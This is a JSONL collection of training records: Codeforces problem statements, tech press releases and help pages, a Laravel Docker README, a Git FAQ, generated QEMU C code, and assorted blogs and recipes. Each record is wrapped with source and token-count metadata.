    {"text": "You play a computer game. In this game, you lead a party of $$$m$$$ heroes, and you have to clear a dungeon with $$$n$$$ monsters. Each monster is characterized by its power $$$a_i$$$. Each hero is characterized by his power $$$p_i$$$ and endurance $$$s_i$$$.\n\nThe heroes clear the dungeon day by day. In the beginning of each day, you choose a hero (exactly one) who is going to enter the dungeon this day.\n\nWhen the hero enters the dungeon, he is challenged by the first monster which was not defeated during the previous days (so, if the heroes have already defeated $$$k$$$ monsters, the hero fights with the monster $$$k + 1$$$). When the hero fights the monster, there are two possible outcomes:\n\n- if the monster's power is strictly greater than the hero's power, the hero retreats from the dungeon. The current day ends;\n- otherwise, the monster is defeated.\n\nAfter defeating a monster, the hero either continues fighting with the next monster or leaves the dungeon. He leaves the dungeon either if he has already defeated the number of monsters equal to his endurance during this day (so, the $$$i$$$-th hero cannot defeat more than $$$s_i$$$ monsters during each day), or if all monsters are defeated — otherwise, he fights with the next monster. When the hero leaves the dungeon, the current day ends.\n\nYour goal is to defeat the last monster. What is the minimum number of days that you need to achieve your goal? Each day you have to use exactly one hero; it is possible that some heroes don't fight the monsters at all. Each hero can be used arbitrary number of times.", "source": "cpt_codeforces", "language": "en", "token_count": 351, "token_count_with_eod": 352, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "|By Business Wire||\n|July 7, 2014 09:16 AM EDT||\nPerfecto Mobile, provider of the MobileCloud™ Platform and integrated mobile application quality suite, today announced the launch of a new offering designed to provide integrated development and testing capabilities of mobile applications to Visual Studio and Microsoft Azure users. To celebrate the launch of this offering, new promotional offers are available for MSDN subscribers.\nPerfecto Mobile is working with Microsoft Corp. to bring support for C# test scripts to their platform, enabling developers in Visual Studio to write testing scripts in C# and execute across multiple devices managed by Perfecto Mobile. Perfecto Mobile has also provided seamless integration with Team Foundation Server and Visual Studio Online and is working on additional features, including integrating into the build process to automatically provision devices and run tests from a work item, publishing all test results back to Team Foundation Server or Visual Studio Online. This functionality is currently available to all users.\n“Moving at the speed of mobile poses numerous challenges to Dev/Test teams today, and pressure to improve an application’s velocity without impacting quality is only increasing as the mobile market matures,” said Melinda-Carol Ballou, Program Director, Application Life-Cycle Management & Executive Strategies, IDC. “Support for C# and Microsoft Team Foundation Server enables the extensive network of Microsoft developers to take advantage of the combined capabilities for mobile testing with Perfecto Mobile, leveraging synergy across products.”\nAdditionally, Windows Phone 8.1 is now fully supported by Perfecto Mobile, including several new Nokia Lumia phones running Windows Phone 8.1 that will be released in the coming months.\n“We are proud to work with Microsoft to deliver a widely available solution that provides the highest quality of business-critical mobile apps available,” said Eran Yaniv, CEO, Perfecto Mobile. “This joint offering enables enterprise developers and testers to quickly ramp up mobile activities in their existing visual studio environments, leverage existing investment in tools, people, knowledge and processes and all while meeting the release intervals needed to compete in today’s markets.”\n“Today's mobile-first development requires testing across many common devices used by consumers and businesses. To deliver high-quality mobile apps, teams need robust mobile testing solutions that address the complexities of multiplatform development in a fragmented mobile market,” said S. Somasegar, Corporate Vice President of Microsoft’s Developer Division. “We are excited to announce that these new offerings provide developers with greater access to integrated, familiar and effective mobile device testing features using Visual Studio, Team Foundation Server and Perfecto Mobile’s mobile application quality suite.”\nWith this offer, MSDN subscribers can access discounts for public cloud manual testing; details are available here. For Microsoft Azure users who are not MSDN subscribers, Perfecto Mobile will be available through the Microsoft Azure Store with discounts available now through the end of 2014.\nMore details about these offers and how to get started, please visit http://www.perfectomobile.com/Solutions/MobileCloud_TFS.\nAbout Perfecto Mobile\nPerfecto Mobile is transforming the way enterprise organizations go mobile, enabling them to develop, test, deploy and monitor their mobile applications and services and go-to-market with confidence. Perfecto Mobile’s cloud-based MobileCloud™ Platform and end-to-end mobile app quality product suite enables users to remotely access a large selection of real mobile devices connected to local cellular networks around the world and leverage them throughout the mobile application delivery lifecycle – from development, functional and performance testing to monitoring and support. The MobileCloud™ is available either in an enterprise private cloud or a sharable public cloud environment.\nMore than 1000 customers, including the top Fortune 100/500 across the banking, insurance, retail, telecommunications and media industries rely on Perfecto Mobile to optimize mobile time-to-market, customer engagement, risk mitigation and costs and continuously serve their mobile users with confidence.\nSYS-CON Events announced today that Loom Systems will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Founded in 2015, Loom Systems delivers an advanced AI solution to predict and prevent problems in the digital business. Loom stands alone in the industry as an AI analysis platform requiring no prior math knowledge from operators, leveraging the existing staff to succeed in the digital era. With offices in S...\nMar. 23, 2017 08:15 PM EDT Reads: 603\nWith billions of sensors deployed worldwide, the amount of machine-generated data will soon exceed what our networks can handle. But consumers and businesses will expect seamless experiences and real-time responsiveness. What does this mean for IoT devices and the infrastructure that supports them? More of the data will need to be handled at - or closer to - the devices themselves.\nMar. 23, 2017 07:15 PM EDT Reads: 4,249\nDevOps is often described as a combination of technology and culture. Without both, DevOps isn't complete. However, applying the culture to outdated technology is a recipe for disaster; as response times grow and connections between teams are delayed by technology, the culture will die. A Nutanix Enterprise Cloud has many benefits that provide the needed base for a true DevOps paradigm.\nMar. 23, 2017 06:00 PM EDT Reads: 1,266\nMy team embarked on building a data lake for our sales and marketing data to better understand customer journeys. This required building a hybrid data pipeline to connect our cloud CRM with the new Hadoop Data Lake. One challenge is that IT was not in a position to provide support until we proved value and marketing did not have the experience, so we embarked on the journey ourselves within the product marketing team for our line of business within Progress. In his session at @BigDataExpo, Sum...\nMar. 23, 2017 04:15 PM EDT Reads: 2,428\nThe taxi industry never saw Uber coming. Startups are a threat to incumbents like never before, and a major enabler for startups is that they are instantly “cloud ready.” If innovation moves at the pace of IT, then your company is in trouble. Why? Because your data center will not keep up with frenetic pace AWS, Microsoft and Google are rolling out new capabilities In his session at 20th Cloud Expo, Don Browning, VP of Cloud Architecture at Turner, will posit that disruption is inevitable for c...\nMar. 23, 2017 03:45 PM EDT Reads: 1,738\nSYS-CON Events announced today that Telecom Reseller has been named “Media Sponsor” of SYS-CON's 20th International Cloud Expo, which will take place on June 6–8, 2017, at the Javits Center in New York City, NY. Telecom Reseller reports on Unified Communications, UCaaS, BPaaS for enterprise and SMBs. They report extensively on both customer premises based solutions such as IP-PBX as well as cloud based and hosted platforms.\nMar. 23, 2017 03:30 PM EDT Reads: 1,689\nSYS-CON Events announced today that Ocean9will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Ocean9 provides cloud services for Backup, Disaster Recovery (DRaaS) and instant Innovation, and redefines enterprise infrastructure with its cloud native subscription offerings for mission critical SAP workloads.\nMar. 23, 2017 03:30 PM EDT Reads: 1,577\nProviding the needed data for application development and testing is a huge headache for most organizations. The problems are often the same across companies - speed, quality, cost, and control. Provisioning data can take days or weeks, every time a refresh is required. Using dummy data leads to quality problems. Creating physical copies of large data sets and sending them to distributed teams of developers eats up expensive storage and bandwidth resources. And, all of these copies proliferating...\nMar. 23, 2017 03:00 PM EDT Reads: 6,179\nIn recent years, containers have taken the world by storm. Companies of all sizes and industries have realized the massive benefits of containers, such as unprecedented mobility, higher hardware utilization, and increased flexibility and agility; however, many containers today are non-persistent. Containers without persistence miss out on many benefits, and in many cases simply pass the responsibility of persistence onto other infrastructure, adding additional complexity.\nMar. 23, 2017 02:30 PM EDT Reads: 4,068\nSYS-CON Events announced today that Cloudistics, an on-premises cloud computing company, has been named “Bronze Sponsor” of SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Cloudistics delivers a complete public cloud experience with composable on-premises infrastructures to medium and large enterprises. Its software-defined technology natively converges network, storage, compute, virtualization, and management into a ...\nMar. 23, 2017 02:30 PM EDT Reads: 1,435\nDevOps is often described as a combination of technology and culture. Without both, DevOps isn't complete. However, applying the culture to outdated technology is a recipe for disaster; as response times grow and connections between teams are delayed by technology, the culture will die. A Nutanix Enterprise Cloud has many benefits that provide the needed base for a true DevOps paradigm. In his Day 3 Keynote at 20th Cloud Expo, Chris Brown, a Solutions Marketing Manager at Nutanix, will explore t...\nMar. 23, 2017 02:30 PM EDT Reads: 2,360\nSYS-CON Events announced today that CA Technologies has been named “Platinum Sponsor” of SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY, and the 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CA Technologies helps customers succeed in a future where every business – from apparel to energy – is being rewritten by software. From ...\nMar. 23, 2017 02:15 PM EDT Reads: 1,170\nPentaho has announced orchestration capabilities that streamline the entire machine learning workflow and enable teams of data scientists, engineers and analysts to train, tune, test and deploy predictive models. Pentaho’s Data Integration and analytics platform ends the ‘gridlock’ associated with machine learning by enabling smooth team collaboration, maximizing limited data science resources and putting predictive models to work on big data faster – regardless of use case, industry, or languag...\nMar. 23, 2017 01:00 PM EDT Reads: 2,110\nSYS-CON Events announced today that T-Mobile will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. As America's Un-carrier, T-Mobile US, Inc., is redefining the way consumers and businesses buy wireless services through leading product and service innovation. The Company's advanced nationwide 4G LTE network delivers outstanding wireless experiences to 67.4 million customers who are unwilling to compromise on ...\nMar. 23, 2017 12:45 PM EDT Reads: 1,673\nKeeping pace with advancements in software delivery processes and tooling is taxing even for the most proficient organizations. Point tools, platforms, open source and the increasing adoption of private and public cloud services requires strong engineering rigor - all in the face of developer demands to use the tools of choice. As Agile has settled in as a mainstream practice, now DevOps has emerged as the next wave to improve software delivery speed and output. To make DevOps work, organization...\nMar. 23, 2017 12:30 PM EDT Reads: 1,150", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2696, "token_count_with_eod": 2697, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Active Directory Federation Service (ADFS) is a Microsoft software component that provides Single Sign-On (SSO) authorization to users of Windows Server Operating Systems. ADFS enables users to access applications on Windows Server Operating Systems across organizational boundaries using a single set of login credentials.\nADFS enables users from one organization to access applications from partner organizations by using their standard Active Directory credentials (AD). ADFS also allows users to access AD-integrated applications while working remotely via a web interface, using their standard organizational AD credentials.\nTo connect ADFS and QuestionPro using SAML 2.0, follow the steps below:\nFollow the steps below to get the SP certificate and ACS URL from your QuestionPro account:\nFollow the steps below to extract the signing certificate from ADFS:\nYes, It is possible to map new users to a specific Business Unit/ Team. You can pass a claim named \"teamName\" in your SAML assertion containing the Business Unit Name / Team Name from your QuestionPro account which will add new users under that specific Business Unit/ Team. In the following example shown in the screenshot we have used the \"Department\" field of the user's profile to store the Team Name for the user which will be passed in the SAML assertion:\nThis feature is available with the following license :", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 266, "token_count_with_eod": 267, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "This past week, I had the opportunity to create my own magazine spread using inDesign. As a class, we all used our new knowledge of important design principles to make an aesthetically pleasing and purposeful project to share with our peers and with those who read our blogs.\nThis is my design:\nMy audience for this project would be members of the Latter-day Saint church that have either been through the temple or are preparing to go through the temple. For this reason, I kept my design fairly simple and straightforward. I didn’t feel it was appropriate to use large contrasting elements because I was going for a peaceful, serene feeling.\nI used elements of repetition in my spread because all of my text is uniform, only interrupted by uniform headings to introduce the next section. I used contrast by making the word “temple” much larger and more pronounced than the rest of the text. This was intentional because the temple is what the talk is all about.\nWhen I was originally creating this spread, I began to randomly choose colors for the text and backgrounds without even thinking about it. I used yellows and bright blues in order to “hold attention” or so I thought. When I took another look, I realized I needed to be more organized in my approach. Using the Adobe Color Wheel tool, I was able to use colors from the first picture and match them with complimenting colors. It gives a much more peaceful affect (which is what I was going for anyway).\nI took both of the images in this project myself with my phone. I took the first photo with a lot of empty space around the subject (temple) so that I could zoom in and use the surrounding elements as part of my design. The second photo brings the pop of color that I was originally going for without being too overwhelming.\nThis project was really eye opening because it allowed me to see what my natural design instincts are and what I need to pay more attention to in future projects.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 400, "token_count_with_eod": 401, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "You are given a string $$$s$$$ of length $$$n$$$. Let's define two operations you can apply on the string:\n\n- remove the first character of the string;\n- remove the second character of the string.\n\nYour task is to find the number of distinct non-empty strings that can be generated by applying the given operations on the initial string any number of times (possibly zero), in any order.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Isart and Modsart were trying to solve an interesting problem when suddenly Kasra arrived. Breathless, he asked: \"Can you solve a problem I'm stuck at all day?\"\n\nWe have a tree T with n vertices and m types of ice cream numerated from 1 to m. Each vertex i has a set of si types of ice cream. Vertices which have the i-th (1 ≤ i ≤ m) type of ice cream form a connected subgraph. We build a new graph G with m vertices. We put an edge between the v-th and the u-th (1 ≤ u, v ≤ m, u ≠ v) vertices in G if and only if there exists a vertex in T that has both the v-th and the u-th types of ice cream in its set. The problem is to paint the vertices of G with minimum possible number of colors in a way that no adjacent vertices have the same color.\n\nPlease note that we consider that empty set of vertices form a connected subgraph in this problem.\n\nAs usual, Modsart don't like to abandon the previous problem, so Isart wants you to solve the new problem.", "source": "cpt_codeforces", "language": "en", "token_count": 236, "token_count_with_eod": 237, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Laravel Docker Starter\nDocker development environment construction package for Laravel application. [for Mac]\n- Docker for Mac must be installed.\n- composer (If it is not installed, it will be installed at setup time.)\nOperation confirmed environment\n- macOS Mojave\n- Docker Desktop for Mac: 184.108.40.206\n- Docker Engine: 18.09.1\n- Compose: 1.23.2\nEnvironment to be built\n- centos: Latest edition\n- Apache: 2.4\n- PHP: 7.2\n- Laravel: Latest edition\n- MySQL: 8.0\nlaravel-docker/ ├── README.md ├── docker │ ├── app │ │ ├── Dockerfile ... Dockerfile for applications │ │ └── init │ │ ├── .env ... Laravel env file │ │ └── app_setting.sh ... Shell for starting application server │ ├── db │ │ ├── Dockerfile ... Dockerfile for Database │ │ └── conf.d │ │ └── my.cnf ... MySQL configuration file │ └── docker-compose.yml ... The app and db containers are managed by docker-compose. ├── order.sh ... ShellScript to operate Laravel and Docker └── src ... Laravel source and configuration file installation directory\n// Download sources git clone https://github.com/rito328/laravel-docker.git // Go to the laravel-docker directory. cd /path/to/laravel-docker // When you start setup, Laravel will be installed and the Docker environment will be launched. sh order.sh setup\n!! POINT !!\nSince migration and seeding are executed during Laravel setup, initial data can be input by defining these in advance.\nWhen setup is complete, access localhost.\nOnce setup is done, operation can be controlled by start / stop.\n// stop sh order.sh stop // start sh order.sh start\nThe Laravel project will be installed under\nlaravel-docker/ └── src └── laravel\nThe Laravel project mounts from an external volume, so it will be persisted.\nsh order.sh setup : Set up Laravel Docker. sh order.sh start : Alias for setup. sh order.sh stop : Stop the container. sh order.sh restart : Reboot the container. sh order.sh destroy : Delete containers and images. sh order.sh conn app : Connect to app container. sh order.sh conn db : Connect to MySQL in db container. sh order.sh help : Display help.\nBecause it is a starter pack for a troublesome shop, it may be more convenient and the source should be still getting better. Of course, the bad part should be improved. Please send pull request by all means. We welcome your participation.\nThis package made Laravel easy to try under Docker environment. Since we are also committing some configuration files, we do not recommend deploying these source file sets directly in the production environment.\nHave fun Laravel & Docker life!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 607, "token_count_with_eod": 608, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Vova promised himself that he would never play computer games... But recently Firestorm — a well-known game developing company — published their newest game, World of Farcraft, and it became really popular. Of course, Vova started playing it.\n\nNow he tries to solve a quest. The task is to come to a settlement named Overcity and spread a rumor in it.\n\nVova knows that there are n characters in Overcity. Some characters are friends to each other, and they share information they got. Also Vova knows that he can bribe each character so he or she starts spreading the rumor; i-th character wants ci gold in exchange for spreading the rumor. When a character hears the rumor, he tells it to all his friends, and they start spreading the rumor to their friends (for free), and so on.\n\nThe quest is finished when all n characters know the rumor. What is the minimum amount of gold Vova needs to spend in order to finish the quest?\n\nTake a look at the notes if you think you haven't understood the problem completely.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "I love this neon yellow mini skirt matching a white top,\noh, simple but gorgeous and impressed!\nThe Yellow Cambridge Satchel Company is so adorable!\nOh my god, this neon yellow python Celine box bag is super bright and cute!\nThis is really a bright season for you to play with the colors, the more acid colors you are in, the more trendy you look like! Here are some street snaps about YELLOW, I've never thought of that yellow can be matched perfectly like this, love them so much. Yellow might be a little bit sharp for me, but I'd like to start with a small yellow bag and a yellow skirt! Oh, let's enjoy the bright season with the pleasant colors!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "A parentheses sequence is a string consisting of characters \"(\" and \")\", for example \"(()((\".\n\nA balanced parentheses sequence is a parentheses sequence which can become a valid mathematical expression after inserting numbers and operations into it, for example \"(()(()))\".\n\nThe balance of a parentheses sequence is defined as the number of opening parentheses \"(\" minus the number of closing parentheses \")\". For example, the balance of the sequence \"(()((\" is 3.\n\nA balanced parentheses sequence can also be defined as a parentheses sequence with balance 0 such that each of its prefixes has a non-negative balance.\n\nWe define the balanced shuffle operation that takes a parentheses sequence and returns a parentheses sequence as follows: first, for every character of the input sequence, we compute the balance of the prefix of the sequence before that character and write those down in a table together with the positions of the characters in the input sequence, for example:\n\nPrefix balance01212321Position12345678Character(()(()))\n\nThen, we sort the columns of this table in increasing order of prefix balance, breaking ties in decreasing order of position. In the above example, we get:\n\nPrefix balance01112223Position18427536Character()(()())\n\nThe last row of this table forms another parentheses sequence, in this case \"()(()())\". This sequence is called the result of applying the balanced shuffle operation to the input sequence, or in short just the balanced shuffle of the input sequence.\n\nYou are given a balanced parentheses sequence. Print its balanced shuffle.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "This post is written by guest contributor, Grant Hardy.\nIt is a weighty responsibility to decide how God’s word should be presented to the world, and the Church takes this charge very, very seriously. The recent adjustments to the official standard works include many welcome corrections to the headings of the Doctrine and Covenants, but otherwise the revisions are quite minimal. As Elder Neil L. Andersen explained, “members should not feel that they need to purchase a new set of scriptures . . . Changes to the scriptural text include spelling, minor typographical, and punctuation corrections” (my emphasis). This perhaps makes sense in the case of the King James Version, which continues to be what it has been for the last 400 years, and for the Doctrine and Covenants, where the textual scholarship of the Joseph Smith Papers is ongoing. Yet it represents a lost opportunity for the Book of Mormon in light of Royal Skousen’s completed analysis of textual variants (in six books) and the publication of his reconstruction of the earliest text.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "The Crazyflie Swarm is a Networked Control platform designed for students to learn more about control and for researchers that wish to apply their research in practice. Platform development was started during the Summer of 2015 and continues to this day.\nHere you will find descriptions on how the platform works, how you can use it, and how you can get involved in developing the platform further!\nFrequently Asked Questions\nFor help with common problems and troubleshooting please see the FAQ.\nThe Crazyflie Swarm platform is based off of the Crazyflie Nano-quadcopter produced and maintained by Bitcraze. The Crazyflie is completely open-source so we are able to look at and modify any part of the code and customize it to our needs.\nMajor Platform Components:\nModifying the Platform\n- Keyboard Commands\n- Changing Radio Channel\n- Flight Modes\n- Adding a Crazyflie\nFuture Project Ideas\nThe whole concept of this Platform is to constantly expand its capabilities. If you are interested in developing this platform further here are some ideas to get you started! Additional details on any of these ideas can be found on the Future Project Ideas page.\n- Migrating Swarm Client PID's to Firmware\n- Model Development/Verification and Tuning X, Y, and Z Location PID's\n- Adding Parameter Support to Swarm Client\n- Threading Each USB Radio to speed up Computation\n- Developing New Controllers for the Crazyflie (pending Model Development)\n- Develop Communications Network Between Crazyflies\n- Trilateration Position Estimation using a Swarm\nBitcraze maintains their own wiki on the many Crazyflie systems. If you can't find what you are looking for here, chances are they will have something to help.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 359, "token_count_with_eod": 360, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Consider a table of size $$$n \\times m$$$, initially fully white. Rows are numbered $$$1$$$ through $$$n$$$ from top to bottom, columns $$$1$$$ through $$$m$$$ from left to right. Some square inside the table with odd side length was painted black. Find the center of this square.", "source": "cpt_codeforces", "language": "en", "token_count": 64, "token_count_with_eod": 65, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Cheers, masking worked. I don't use TTL anyway so its no real loss. Ive had the issue on a previous (550D) housing and the same on this. It also sometimes \"crashes\" and buttons stop responding and i need to power cycle the primary strobe to get control back.\nI may just bypass it completely as above to prevent the problem coming back.\nThe controller has never been flooded but the housing does get varying amounts of condensation in and this does seem to affect it sometimes when it runs there. No real way around that as im in the tropics, high humidity and no aircon available.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Frequently asked questions around Git and Version Control.\nHow can I ignore files that have already been committed to the repo?\nGit can only ignore files that are untracked - files that haven't been committed to the repository, yet. That's why, when you create a new repository, you should also create a .gitignore file with all the file patterns you want to ignore.\nHowever, of course, not everything goes perfect... and files slip through that you later would like to see ignored.\nThe Git Cheat Sheet\nNo need to remember all those commands and parameters: get our popular \"Git Cheat Sheet\" - for free!\nIn three steps, you can clean up your repository and make sure your ignored items are indeed ignored:\n# Remove the files from the index (not the actual files in the working copy)\n$ git rm -r --cached .\n# Add these removals to the Staging Area...\n$ git add .\n# ...and commit them!\n$ git commit -m \"Clean up ignored files\"\nIgnoring Committed Files in Tower\nIn case you are using the Tower Git client, the app does the heavy lifting for you: when trying to ignore a file that is already tracked in Git, Tower will ask if you want to untrack it - so that the ignore rules can do their work.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 275, "token_count_with_eod": 276, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I have a Qt window with the following flags:\nQt::CustomizeWindowHint |Qt::Tool |Qt::WindowCloseButtonHint |Qt::WindowTitleHint |Qt::MSWindowsFixedSizeDialogHint\nOn Mac, it has a resizable corner. How can I get rid of it? Specifying\ndoes not help. In fact, with the fixed-size policy the window acts weird when I try to resize - it disappears from foreground and becomes disabled for some reason.\nI don't mind dropping to the native API level.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 107, "token_count_with_eod": 108, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Software Defined Networking (SDN)\nWith well-established practices around Cloud and Networking, backed by strong expertise across the entire SDN and NFV stack, MBUZZ is a preferred right technology partner for ISVs, OEMs and Service Providers who plan to migrate their infrastructure, systems, equipment and networks to Cloud and SDN/NFV architecture.\nRapid advancements in Software Defined Networking (SDN) and Network Function Virtualization (NFV) technologies have enabled Telecom OEMs and Network Operators to free themselves from the constraints of expensive proprietary hardware and realize the cost savings of open source software running over Commercial Off-the-Shelf (COTS) hardware. However, if the network operators aim to move beyond mere cost savings and progress toward realization of the full potential of SDN & NFV through advanced implementations for Zero Touch Provisioning, cutting-edge VNFs and uniform network fabric, then they must elicit services of an Engineering Service Provider with deep domain expertise.\nOUR SERVICES IN THE SDN AREA INCLUDE\n- SDN-Xport: Platform agnostic OpenFlow Agent Toolkit : This OpenFlow v1.3 compliant solution integrates with various merchant silicon and NPUs for white box switching solutions.\n- We have delivered on OpenFlow enablement of switches and routers.\n- SDN Controller enhancements and Plug-in development to manage legacy (non-OpenFlow) network devices.\n- SDN Application development and scenario based testing; Controller staging and integration with legacy NMS, cloud management and service provisioning platforms.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 306, "token_count_with_eod": 307, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "/* AUTOMATICALLY GENERATED, DO NOT MODIFY */\n\n/*\n * Schema-defined QAPI/QMP events\n *\n * Copyright (c) 2014 Wenchao Xia\n * Copyright (c) 2015-2018 Red Hat Inc.\n *\n * This work is licensed under the terms of the GNU LGPL, version 2.1 or later.\n * See the COPYING.LIB file in the top-level directory.\n */\n\n#include \"qemu/osdep.h\"\n#include \"qemu-common.h\"\n#include \"qapi-emit-events.h\"\n#include \"qapi-events-char.h\"\n#include \"qapi-visit-char.h\"\n#include \"qapi/error.h\"\n#include \"qapi/qmp/qdict.h\"\n#include \"qapi/qobject-output-visitor.h\"\n#include \"qapi/qmp-event.h\"\n\n\nvoid qapi_event_send_vserport_change(const char *id, bool open)\n{\n    QDict *qmp;\n    QObject *obj;\n    Visitor *v;\n    q_obj_VSERPORT_CHANGE_arg param = {\n        (char *)id, open\n    };\n\n    qmp = qmp_event_build_dict(\"VSERPORT_CHANGE\");\n\n    v = qobject_output_visitor_new(&obj);\n\n    visit_start_struct(v, \"VSERPORT_CHANGE\", NULL, 0, &error_abort);\n    visit_type_q_obj_VSERPORT_CHANGE_arg_members(v, ¶m, &error_abort);\n    visit_check_struct(v, &error_abort);\n    visit_end_struct(v, NULL);\n\n    visit_complete(v, &obj);\n    qdict_put_obj(qmp, \"data\", obj);\n    qapi_event_emit(QAPI_EVENT_VSERPORT_CHANGE, qmp);\n\n    visit_free(v);\n    qobject_unref(qmp);\n}\n\n/* Dummy declaration to prevent empty .o file */\nchar qapi_dummy_qapi_events_char_c;", "source": "cpt_stack_code", "language": "code", "token_count": 417, "token_count_with_eod": 418, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "Post time 2014-3-25 02:38:51|Show all posts| Maxthon 18.104.22.1680| Windows 7\nHi dear Maxthon folks,\nWe are very excited to announce Maxthon for Linux official version 22.214.171.124 is available for downloading.\nPlease check out the changelog below.\n1. Optimized UI to make it look better on low-resolutions, such as 1366*768.\n2. Added Favorites button on Tool Bar. Click it to show your favorites and hide it in settings. Then you can hide the Favorites bar when more page room is required.\n3. Fixed the issue that some Magic Fill data can not be shown or used.\n4. Fixed the duplication of Quick Access tiles on Windows version after login on Linux version.\n5. Now if you login, you can see your device on \"My Device\" page.\nPlease be one of the first to try this HOT official release. And thank you for your continued support.\n* Downloads below for Users who would like to onlyget reminders of official releases 32-bit:\nTo better and more efficiently solve the problems you meet during the usage, for any suggestions or bug reports, we do hope you may go to 'Product Support' area and report/describe by a new seperate thread for each problem/topic. We will read each thread and update the follow-up status then. Meanwhile, some problems are probably be left out if they are stated in other thread. Thanks very much for your cooperation!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 346, "token_count_with_eod": 347, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Windows Server 2016, Microsoft's newest server operating system, has the potential to be a big hit with businesses, IT professionals, and users.\nDeveloped alongside Windows 10, the Windows Server team worked closely with the System Center and Azure teams to establish a tightly-knit ecosystem.\nUpgrade: Switching from Drupal 6 to Drupal 7, or from Drupal 6 to Drupal 8, or from Drupal 7 to Drupal 8 is an 'upgrade'.\nIf you want to 'upgrade' your site, go here: Upgrade to Drupal 7 or 8 - Major version change to your current D6 or D7 site Unlike the words 'update' and 'upgrade', which refer to very specific tasks, the word 'migrate' has a broader meaning in that it is used in reference to several different tasks.\nMany people offer maintenance plans to help you stay up to date.\nThe problem with some of these plans is that they offer weekly, monthly, or quarterly updates.\nNo matter which version your site is currently using, you can update to the latest minor version that is available.\nThe end result delivers a seamless Microsoft experience from beginning to end; it bridges familiar technologies such as Active Directory and virtualization with modern infrastructure concepts, like containerization, federated services, and cloud-based services.\nFor the latest information on Windows Server 2016, check this article periodically, as this \"living\" guide will be updated when Microsoft releases new information about the OS.\nCAU automates the software updating process on clustered servers while maintaining availability.\nThis topic describes scenarios and applications for using CAU, and provides links to content that describes how to integrate CAU into other IT automation and management processes.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 359, "token_count_with_eod": 360, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Cannabis-infused Pumpkin Pie\n- Large Mixing Bowl Or Kitchen Mixer\n- Pie Dish\n- 8 oz cream cheese softened\n- 2 cups canned pumpkin puree\n- 1 cup sugar\n- 1/4 tsp salt Himalayan is best\n- 2 eggs slightly beaten\n- 1 cup half and half cream\n- 1/3 cup Canna Butter\n- 1 tsp vanilla extract\n- 1/2 tsp ground cinnamon\n- 1/4 tsp ground ginger\n- 1/4 tsp nutmeg\n- 1 x NINE inch unbaked pastry shell\n- 1 cup Cannabis Whipped Cream just because you can! Infused Whip Cream\n- Preheat oven to 350 degrees\n- Beat cream in a large mixing bowl or kitchen mixer. Add the pumpkin and beat until combined.\n- Add the sugar and salt. Beat.\n- Add the eggs, half-and-half, and Cannabutter. Beat until combined.\n- Beat in the remaining vanilla, cinnamon, and ginger until combined.\n- Pour the filling into the pie crust. Bake for 45-50 minutes, or until the center is set.\n- Let pie cool and room temperature before topping with whipped cream.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 261, "token_count_with_eod": 262, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Trust, as a foundation for efficient and sustainable teams, is a recurring topic on that blog. In Beyond Measure, I covered the simple exercise proposed by\nYou can benchmark your organization on the eight key factors presented in Learning from the neuroscience of trust by answering the 16 questions of the Ofactor Pulse test (I encourage you to read the book and respond to the test when triggered).\nQuestions are based on observable behaviors, which make them relatively easy to answer. For example, one is: “My leader treats setbacks and mistakes I make as a valuable opportunity to learn and try something new”. From “Strongly Agree” to “Strongly Disagree”, you can find where you stand.\nYour overall trust score could push you to dig more, and the full ratings a good idea of where to start investigating the potential changes in your behavior to create the conditions you want.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
